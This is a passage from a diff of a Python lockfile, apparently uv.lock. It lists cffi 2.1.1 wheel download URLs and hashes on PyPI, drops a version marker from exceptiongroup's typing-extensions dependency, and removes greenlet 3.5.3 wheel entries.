"https://files.pythonhosted.org/packages/60/a6/8b149b2c3f2e11aaa1618ef64500b45f50f22c57a977a4dff1aff1f91042/cffi-2.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d", size = 185688, upload-time = "2026-08-03T21:20:14.69Z" }, + { url = "https://files.pythonhosted.org/packages/01/9a/11f687cb39d6a3504060d5242f04f48c735afb4d3d533958a20594890cb2/cffi-2.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973", size = 180078, upload-time = "2026-08-03T21:20:15.917Z" }, + { url = "https://files.pythonhosted.org/packages/d3/7b/d6bbf82b8b96e7391438898c42f5bd96dd02030fd5b64937d248220003e2/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c", size = 194064, upload-time = "2026-08-03T21:20:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/94/e6/bcc91b283be94735e268487a054004f0aa19947b6348fa367db53230abc8/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb", size = 196720, upload-time = "2026-08-03T21:20:18.268Z" }, + { url = "https://files.pythonhosted.org/packages/d9/99/c4b0c17cacdc9c3b8f280026286a9826d6a208c0f047591a3c3ce99b91fd/cffi-2.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54", size = 184964, upload-time = "2026-08-03T21:20:19.708Z" }, + { url = "https://files.pythonhosted.org/packages/b3/a9/9db617d05d7367c1ad0ab00b3aa6e6f9281edd689b4ee9ea0e5a84e89c97/cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72", size = 184962, upload-time = "2026-08-03T21:20:20.833Z" }, + { url = "https://files.pythonhosted.org/packages/67/b8/b42132ca113dc567d37684437b46ca1dafc885902b02a110a02d5b511857/cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1", size = 222328, upload-time = "2026-08-03T21:20:22.118Z" }, + { url = "https://files.pythonhosted.org/packages/80/10/c5c0cbf0a657aecf59ef511409734230bf556f05a0d6c9eed7aa5c0a0166/cffi-2.1.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062", size = 209985, upload-time = "2026-08-03T21:20:23.401Z" }, + { url = "https://files.pythonhosted.org/packages/d5/6c/bfa0b87b03b9238148beca990292843c9396ba069b54496596594173de7b/cffi-2.1.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03", size = 208530, upload-time = "2026-08-03T21:20:24.628Z" }, + { url = "https://files.pythonhosted.org/packages/e9/02/4e7d553a7ac4b4238b38b3c1b80d486e9d4436f8d2acbf87a0997fe3f402/cffi-2.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96", size = 221525, upload-time = "2026-08-03T21:20:25.758Z" }, + { url = "https://files.pythonhosted.org/packages/82/1d/a4aaf9babd75acb4d5f223bff71533bee748dd770a382619a798960ee9ba/cffi-2.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527", size = 225053, upload-time = "2026-08-03T21:20:26.985Z" }, + { url = "https://files.pythonhosted.org/packages/81/10/5dc0e7bdd18e22107054288283380fc97a06ae3f1656a106908d666a3c88/cffi-2.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13", size = 223213, upload-time = "2026-08-03T21:20:28.277Z" }, + { url = "https://files.pythonhosted.org/packages/0b/e9/d0061c364cde06ee43168a0d076ac1da512cbc380d44767b844ba34fe2b6/cffi-2.1.1-cp314-cp314-win32.whl", hash = "sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c", size = 177682, upload-time = "2026-08-03T21:20:44.288Z" }, + { url = "https://files.pythonhosted.org/packages/a7/06/1c3e01e3ba14c39f6d10bfbac52753b7e22259e38088e5cfe1d704918690/cffi-2.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48", size = 187949, upload-time = "2026-08-03T21:20:45.623Z" }, + { url = "https://files.pythonhosted.org/packages/87/5b/da4e39efe18eeb89cf580ea9cfc66b6a7c3eadb808fc0cc1d3a295cb5a5d/cffi-2.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836", size = 182947, upload-time = "2026-08-03T21:20:46.955Z" }, + { url = "https://files.pythonhosted.org/packages/23/59/40338bf421c5accea1d45158170c87006ef1cd371b05c077e76476949728/cffi-2.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3", size = 188504, upload-time = "2026-08-03T21:20:29.495Z" }, + { url = "https://files.pythonhosted.org/packages/7d/47/5ecf1023850036e674c77ec4de86182d309ae344e39e7cba984b7df5d647/cffi-2.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2", size = 188259, upload-time = "2026-08-03T21:20:31.291Z" }, + { url = "https://files.pythonhosted.org/packages/2a/9c/92934c3bea9f785b23eba304538c0b4d37a2a96d2431eb3a1bc87a11aa19/cffi-2.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94", size = 223864, upload-time = "2026-08-03T21:20:32.571Z" }, + { url = "https://files.pythonhosted.org/packages/4d/45/ba4c93527bc38616a8bd36488acb69a2212d60486794f0c1f318949bbb76/cffi-2.1.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc", size = 211538, upload-time = "2026-08-03T21:20:33.808Z" }, + { url = "https://files.pythonhosted.org/packages/80/e9/b6ef565e452acb932fb0cb5443f44a78efbd1233e566f02b5a83855e9115/cffi-2.1.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29", size = 210688, upload-time = "2026-08-03T21:20:34.974Z" }, + { url = "https://files.pythonhosted.org/packages/9a/95/eff5f0cee78d2eabc7eebffec40d3fc1876b5f3c95582e018bb4b99601f2/cffi-2.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676", size = 223803, upload-time = "2026-08-03T21:20:36.564Z" }, + { url = "https://files.pythonhosted.org/packages/fa/01/579d39fb8bef00a335a23d83757b44feb24cd6345a2c451b64cb67b9c362/cffi-2.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e", size = 226763, upload-time = "2026-08-03T21:20:37.816Z" }, + { url = "https://files.pythonhosted.org/packages/8d/b0/0b44f47c60b01b57b6e2bbd92343f13a85a1d93bc46ccf6e47e244acd99c/cffi-2.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f", size = 225688, upload-time = "2026-08-03T21:20:38.959Z" }, + { url = "https://files.pythonhosted.org/packages/eb/d2/3b7176cb570a1d3e27faf67b72f591af508036e0d8b2be2ef9af9e8c84bb/cffi-2.1.1-cp314-cp314t-win32.whl", hash = "sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4", size = 182868, upload-time = "2026-08-03T21:20:40.388Z" }, + { url = "https://files.pythonhosted.org/packages/56/78/31f00c1bcd97c9bbf55f1bfdf5bc809a5de8887473e90bb9960dca825e80/cffi-2.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e", size = 194104, upload-time = "2026-08-03T21:20:41.725Z" }, + { url = "https://files.pythonhosted.org/packages/7b/1b/58496f2ed0a35de575250c02a43ab3cc2c04d494a88fed31c1cabc0fd176/cffi-2.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5", size = 186402, upload-time = "2026-08-03T21:20:43.042Z" }, + { url = "https://files.pythonhosted.org/packages/c1/8f/9ebe220eab48a093d1a5a5e339ab0dc7316eef3bb04d63c42f0251b61f50/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d", size = 194043, upload-time = "2026-08-03T21:20:48.179Z" }, + { url = "https://files.pythonhosted.org/packages/ff/69/844bad3ece306c4782c2ecb93597035b6690d48704b803914c199da1e8b3/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b", size = 196737, upload-time = "2026-08-03T21:20:49.457Z" }, + { url = "https://files.pythonhosted.org/packages/1b/8a/af668013284634733f02d683458a0728739c7d6ddb5e14cb0c20832266fe/cffi-2.1.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4", size = 184933, upload-time = "2026-08-03T21:20:50.639Z" }, + { url = "https://files.pythonhosted.org/packages/0c/75/2f5207ff6d1a613133b23a5203cc0c2a628313b5eb3974d7956ae3c57950/cffi-2.1.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8", size = 185002, upload-time = "2026-08-03T21:20:52.173Z" }, + { url = "https://files.pythonhosted.org/packages/e2/31/9e1313b0a6e30e91b3b3d3fff51ae99c857c07738e3afcce1f7334e1b7ab/cffi-2.1.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6", size = 222271, upload-time = "2026-08-03T21:20:53.462Z" }, + { url = "https://files.pythonhosted.org/packages/50/e3/f6234a833e6e08c7007003074723c406559eecf9b48dfc97471e5a8eb7a0/cffi-2.1.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80", size = 209919, upload-time = "2026-08-03T21:20:54.783Z" }, + { url = "https://files.pythonhosted.org/packages/0d/fc/5f74e293fced6edb51af3a46c4ccf6c23c9943774ecb375ddbd522c76add/cffi-2.1.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779", size = 208529, upload-time = "2026-08-03T21:20:56.066Z" }, + { url = "https://files.pythonhosted.org/packages/44/16/29e6d01b388bef055ecd6ca8244b3f4d336bd09e92d5d892187b9601084e/cffi-2.1.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399", size = 221630, upload-time = "2026-08-03T21:20:57.336Z" }, + { url = "https://files.pythonhosted.org/packages/a4/18/fa7f1f6857d5eb88a4ca99ffcbfb7c387a287ccc154c64a73e86314745d7/cffi-2.1.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688", size = 225134, upload-time = "2026-08-03T21:20:58.675Z" }, + { url = "https://files.pythonhosted.org/packages/e0/9f/e8e3dfa04a1b4c241f8c91faacad872b4d4efd051d49764ad4e2fd4b9fea/cffi-2.1.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7", size = 223197, upload-time = "2026-08-03T21:20:59.968Z" }, + { url = "https://files.pythonhosted.org/packages/f8/7e/8debeb04f1ab9fe2a6963964cd6f1aaf7192627b83926586a6a4e089c9fa/cffi-2.1.1-cp315-cp315-win32.whl", hash = "sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac", size = 177683, upload-time = "2026-08-03T21:21:14.901Z" }, + { url = "https://files.pythonhosted.org/packages/e0/31/5158704cc474ab65c1647932e88be78dc0873f47130e253be38bcaf13d01/cffi-2.1.1-cp315-cp315-win_amd64.whl", hash = "sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960", size = 187897, upload-time = "2026-08-03T21:21:16.108Z" }, + { url = "https://files.pythonhosted.org/packages/cc/4b/b3a2da8570c704ffc0f9762cdc3ec0f02c8573798e0b5cf7f11c82bbb70f/cffi-2.1.1-cp315-cp315-win_arm64.whl", hash = "sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1", size = 182935, upload-time = "2026-08-03T21:21:17.271Z" }, + { url = "https://files.pythonhosted.org/packages/d0/ef/5443574510a1207e6f6bc38ba6e1f1de36cb48fef07b2728bb896a21f430/cffi-2.1.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc", size = 188464, upload-time = "2026-08-03T21:21:01.163Z" }, + { url = "https://files.pythonhosted.org/packages/7e/ae/a56fa8c4686ad50e148fcbc8d3ae0d03915ff5c30d795058988c24118cef/cffi-2.1.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab", size = 188262, upload-time = "2026-08-03T21:21:02.382Z" }, + { url = "https://files.pythonhosted.org/packages/53/b2/6187f46f2912276a3ae284076109cc5c8680482f11f766ccf26db4a86427/cffi-2.1.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e", size = 223779, upload-time = "2026-08-03T21:21:03.553Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f6/c3ad28bd19f77047a03084424fbd4cbe997303267c14423737324be0385d/cffi-2.1.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358", size = 211520, upload-time = "2026-08-03T21:21:04.863Z" }, + { url = "https://files.pythonhosted.org/packages/a0/cd/ccac9013a5bd9fd764de118674ab9c805b5ca10c19270d90ee273f8b2240/cffi-2.1.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231", size = 210673, upload-time = "2026-08-03T21:21:06.223Z" }, + { url = "https://files.pythonhosted.org/packages/52/86/2976131c639aead931c5bee5aba67e4b09fbeb8018b6f282f70803f923a7/cffi-2.1.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6", size = 223835, upload-time = "2026-08-03T21:21:07.539Z" }, + { url = "https://files.pythonhosted.org/packages/ac/0c/33a7aeab2f9c76918c52e084beb39c570db3588133412929e8ec06fab90b/cffi-2.1.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94", size = 226705, upload-time = "2026-08-03T21:21:08.774Z" }, + { url = "https://files.pythonhosted.org/packages/e3/26/2cde30fdde421130bfc18f70395731a6e6b2053c6a1978a5258ff04e72fa/cffi-2.1.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5", size = 225539, upload-time = "2026-08-03T21:21:09.911Z" }, + { url = "https://files.pythonhosted.org/packages/6d/cd/a361394c94b2129d604bb846f624a8e88255a3ee33129c434a00d715e64f/cffi-2.1.1-cp315-cp315t-win32.whl", hash = "sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66", size = 182707, upload-time = "2026-08-03T21:21:11.226Z" }, + { url = "https://files.pythonhosted.org/packages/9b/b5/ba2b299993c26577d529b6ae29841f9e15b9fcf004d65f423f4fcf94ade9/cffi-2.1.1-cp315-cp315t-win_amd64.whl", hash = "sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3", size = 193772, upload-time = "2026-08-03T21:21:12.39Z" }, + { url = "https://files.pythonhosted.org/packages/aa/29/35e016098c814cd93de9cd320c66b5bfba14dc6ecedd3cb518fa7c408c69/cffi-2.1.1-cp315-cp315t-win_arm64.whl", hash = "sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692", size = 186360, upload-time = "2026-08-03T21:21:13.636Z" }, ] [[package]] @@ -700,7 +700,7 @@ name = "exceptiongroup" version = "1.3.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "typing-extensions", marker = "python_full_version < '3.13'" }, + { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } wheels = [ @@ -740,72 +740,72 @@ wheels = [ [[package]] name = "greenlet" -version = "3.5.3" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/e2/f1/fbbfef6af0bad0548f09bc28948ea3c275b4edb19e17fc5ca9900a6a634d/greenlet-3.5.3.tar.gz", hash = "sha256:a61efc018fd3eb317eeca31aba90ee9e7f26f22884a79b6c6ec715bf71bb62f1", size = 200270, upload-time = "2026-06-26T19:28:24.832Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/f5/a1/1f7f0c555f5858fd2906fe9f7b0a3554fddb85cb70df7a6aaec41dc292c2/greenlet-3.5.3-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:c180d22d325fb613956b443c3c6f4406eb70e6defc70d3974da2a7b59e06f48c", size = 285838, upload-time = "2026-06-26T18:21:05.167Z" }, - { url = "https://files.pythonhosted.org/packages/0a/29/be9f43ed61677a5759b38c8a9389248133c8c731bbfc0574ecdff66c99fc/greenlet-3.5.3-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:483d08c11181c83a6ce1a7a61df0f624a208ec40817a3bb2302714592eee4f04", size = 602342, upload-time = "2026-06-26T19:07:06.908Z" }, - { url = "https://files.pythonhosted.org/packages/b9/42/ba41c97ec36aa4b3ec25e5aa691d79561254805fad7f2f826dd6770587e2/greenlet-3.5.3-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1dae6e0091eae084317e411f047f0b7cb241c6db570f7c45fd6b900a274914ce", size = 615541, upload-time = "2026-06-26T19:10:04.909Z" }, - { url = "https://files.pythonhosted.org/packages/f5/c7/28747042e1df8a9cd120a1ebe15529fc4be3b486e13e8d551ff307a82412/greenlet-3.5.3-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9bcd2d72ccd70a1ec68ba6ef93e7fbb4420ef9997dabc7010d893bd4015e0bec", size = 615675, upload-time = "2026-06-26T18:32:14.444Z" }, - { url = "https://files.pythonhosted.org/packages/cc/a8/b85525a6c8fba9f009a5f7c8df1545de8fb0f0bf3e0179194ef4e500317f/greenlet-3.5.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:73f152c895e09907e0dbe24f6c2db37beb085cd63db91c3825a0fcd0064124a8", size = 1575057, upload-time = "2026-06-26T19:09:00.264Z" }, - { url = "https://files.pythonhosted.org/packages/03/79/fb76edb218fe6735ab0edeba176c7ab80df9618f7c02ce4208979f3ae7db/greenlet-3.5.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8bdb43e1a1d1873721acab2be99c5befd4d2044ddfd52e4d610801019880a702", size = 1641692, upload-time = "2026-06-26T18:31:41.454Z" }, - { url = "https://files.pythonhosted.org/packages/6b/79/86fe3ee50ed55d9b3907eecd3208b5c3fe8a79515519aae98b4753c3fa1d/greenlet-3.5.3-cp310-cp310-win_amd64.whl", hash = "sha256:0909f9355a9f24845d3299f3112e266a06afb68302041989fd26bd68894933db", size = 238742, upload-time = "2026-06-26T18:20:40.758Z" }, - { url = "https://files.pythonhosted.org/packages/51/58/5404031044f55afad7aad1aff8be3f22b1bed03e237cfeabbc7e5c8cfde0/greenlet-3.5.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:aca9b4ce85b152b5524ef7d88170efdff80dc0032aa8b75f9aaf7f3479ea95b4", size = 287424, upload-time = "2026-06-26T18:20:31.469Z" }, - { url = "https://files.pythonhosted.org/packages/b4/bf/1c65e9b94a54d547068fa5b5a8a06f221f3316b48908e08668d29c77cb50/greenlet-3.5.3-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f71be4920368fe1fabeeaa53d1e3548337e2b223d9565f8ad5e392a75ba23fc", size = 606523, upload-time = "2026-06-26T19:07:08.859Z" }, - { url = "https://files.pythonhosted.org/packages/b8/c7/b66baacc95775ad511287acb0137b95574a9ce5491902372b7564799d790/greenlet-3.5.3-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4d77e67f65f98449e3fb83f795b5d0a8437aead2f874ca89c96576caf4be3af6", size = 618315, upload-time = "2026-06-26T19:10:06.055Z" }, - { url = "https://files.pythonhosted.org/packages/78/2b/28ed29463522fdbe4c15b1f63922041626a7478316b34ab4adda3f0a4aba/greenlet-3.5.3-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8540f1e6205bd13ca0ce685581037219ca54a1b41a0a15d228c6c9b8ad5903d7", size = 617381, upload-time = "2026-06-26T18:32:16.077Z" }, - { url = "https://files.pythonhosted.org/packages/2a/7b/ad04e9d1337fc04965dc9fc616b6a72cb65a24b800a014c011ec812f5489/greenlet-3.5.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7ef56fe650f50575bf843acde967b9c567687f3c22340941a899b7bc56e956a8", size = 1577771, upload-time = "2026-06-26T19:09:01.537Z" }, - { url = "https://files.pythonhosted.org/packages/d8/33/6c87ab7ba663f70ca21f3022aad1ffe56d3f3e0521e836c2415e13abcc3c/greenlet-3.5.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5121af01cf911e70056c00d4b46d5e9b5d1415550038573d744138bacb59e6b8", size = 1644048, upload-time = "2026-06-26T18:31:42.996Z" }, - { url = "https://files.pythonhosted.org/packages/1c/35/f0d8ee998b422cf8693b270f098e55d8d4ec8006b061b333f54f177d28d9/greenlet-3.5.3-cp311-cp311-win_amd64.whl", hash = "sha256:0f41e4a05a3c0cb31b17023eff28dd111e1d16bf7d7d00406cd7df23f31398a7", size = 239137, upload-time = "2026-06-26T18:23:21.664Z" }, - { url = "https://files.pythonhosted.org/packages/fb/96/b9820295576ef18c9edc404f10e260ae7215ceaf3781a54b720ed2627862/greenlet-3.5.3-cp311-cp311-win_arm64.whl", hash = "sha256:ec6f1af59f6b5f3fc9678e2ea062d8377d22ac644f7844cb7a292910cf12ff44", size = 237630, upload-time = "2026-06-26T18:24:00.281Z" }, - { url = "https://files.pythonhosted.org/packages/5d/6e/4c37d51a2b7f82d2ff11bb6b5f7d766d9a011726624af255e843727627a3/greenlet-3.5.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:719757059f5a53fd0dde23f78cffeafcdd97b21c850ddb7ca684a3c1a1f122e2", size = 288685, upload-time = "2026-06-26T18:22:08.977Z" }, - { url = "https://files.pythonhosted.org/packages/7a/73/815dd90131c1b71ebdf53dbc7c276cafec2a1173b97559f97aba72724a87/greenlet-3.5.3-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:efa9f765dd09f9d0cdac651ffdf631ee59ec5dc6ee7a73e0c012ba9c52fbdf5b", size = 604761, upload-time = "2026-06-26T19:07:10.114Z" }, - { url = "https://files.pythonhosted.org/packages/9f/57/079cfe76bcef36b153b25607ee91c6fcb58f17f8b23c86bbbeabe0c88d72/greenlet-3.5.3-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7faba15ac005376e02a0384504e0243be3370ce010296a44a820feb342b505ab", size = 617044, upload-time = "2026-06-26T19:10:07.25Z" }, - { url = "https://files.pythonhosted.org/packages/37/87/b4d095775a3fb1bcafbb483fc206b27ebb785724c83051447737085dc54e/greenlet-3.5.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:87142215824be6ac05e2e8e2786eec307ccbc27c36723c3881959df654af6861", size = 614244, upload-time = "2026-06-26T18:32:17.594Z" }, - { url = "https://files.pythonhosted.org/packages/8a/70/7559b609683650fa2b95b8ab84b4ab0b26556a635d19675e12aa832d826d/greenlet-3.5.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:215275b1b49320987352e6c1b054acca0064f965a2c66992bed9a6f7d913f149", size = 1574210, upload-time = "2026-06-26T19:09:03.077Z" }, - { url = "https://files.pythonhosted.org/packages/ae/73/be55392074c60fc37655ca40fa6022457bfbf6718e9e342a7b0b41f96dd2/greenlet-3.5.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6b1b0eed82364b0e32c4ea0f221452d33e6bb17ae094d9f72aed9851812747ea", size = 1638627, upload-time = "2026-06-26T18:31:44.748Z" }, - { url = "https://files.pythonhosted.org/packages/14/40/c57489acf8e37d74e2913d4eff63aa0dba17acccc4bdeef874dde2dbbec9/greenlet-3.5.3-cp312-cp312-win_amd64.whl", hash = "sha256:cde8adafa2365676f74a979744629589999093bc86e2484214f58e61df08902c", size = 239882, upload-time = "2026-06-26T18:23:27.518Z" }, - { url = "https://files.pythonhosted.org/packages/71/fd/6fea0e3d6600f785069481ee637e09378dd4118acdfd38ad88ae2db31c98/greenlet-3.5.3-cp312-cp312-win_arm64.whl", hash = "sha256:c4e7b79d83805475f0102008843f6eb45fd3bb0b2e88c774adab5fbaab27117d", size = 238211, upload-time = "2026-06-26T18:22:37.671Z" }, - { url = "https://files.pythonhosted.org/packages/9b/ff/a620267401db30a50cc8450ee90730e2d4a85658c055c0e760d4ed47fb13/greenlet-3.5.3-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:c8d87c2134d871df96ecdea9cec7cbaab286dadab0f56476e57aaf9e8ac11550", size = 287609, upload-time = "2026-06-26T18:21:14.724Z" }, - { url = "https://files.pythonhosted.org/packages/d6/fa/5401ac78021c826a25b6dde0c705e0a8f29b617509f9185a31dac15fbe1b/greenlet-3.5.3-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2d185dd1621757e70c3861cceffd5317ab4e7ed7eb09c82994828468527ade5", size = 607435, upload-time = "2026-06-26T19:07:11.412Z" }, - { url = "https://files.pythonhosted.org/packages/e9/76/1dc144a2e56e65d36405078ed774224375ea520a1870a6e46e08bb4ac7bf/greenlet-3.5.3-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1c514a468149bf8fbbab874188a3535cd8a48a3e353eb53a3d424296f8dbacd3", size = 619787, upload-time = "2026-06-26T19:10:08.396Z" }, - { url = "https://files.pythonhosted.org/packages/bf/87/c298cee62df1de4ad7fec32abda73526cff347fd143a6ed4ac369246668a/greenlet-3.5.3-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:915f887cf2682b66419b879423a2e072634aa7b7dce6f3ada4957cfced3f1e9a", size = 616786, upload-time = "2026-06-26T18:32:19.128Z" }, - { url = "https://files.pythonhosted.org/packages/9e/2e/e6f009885ed0705ccf33fe0583c117cfd03cde77e31a596dd5785a30762b/greenlet-3.5.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:766cfd421c13e450feb340cd472a3ed9957d438727b7b4593ad7c76c5d2b0deb", size = 1574316, 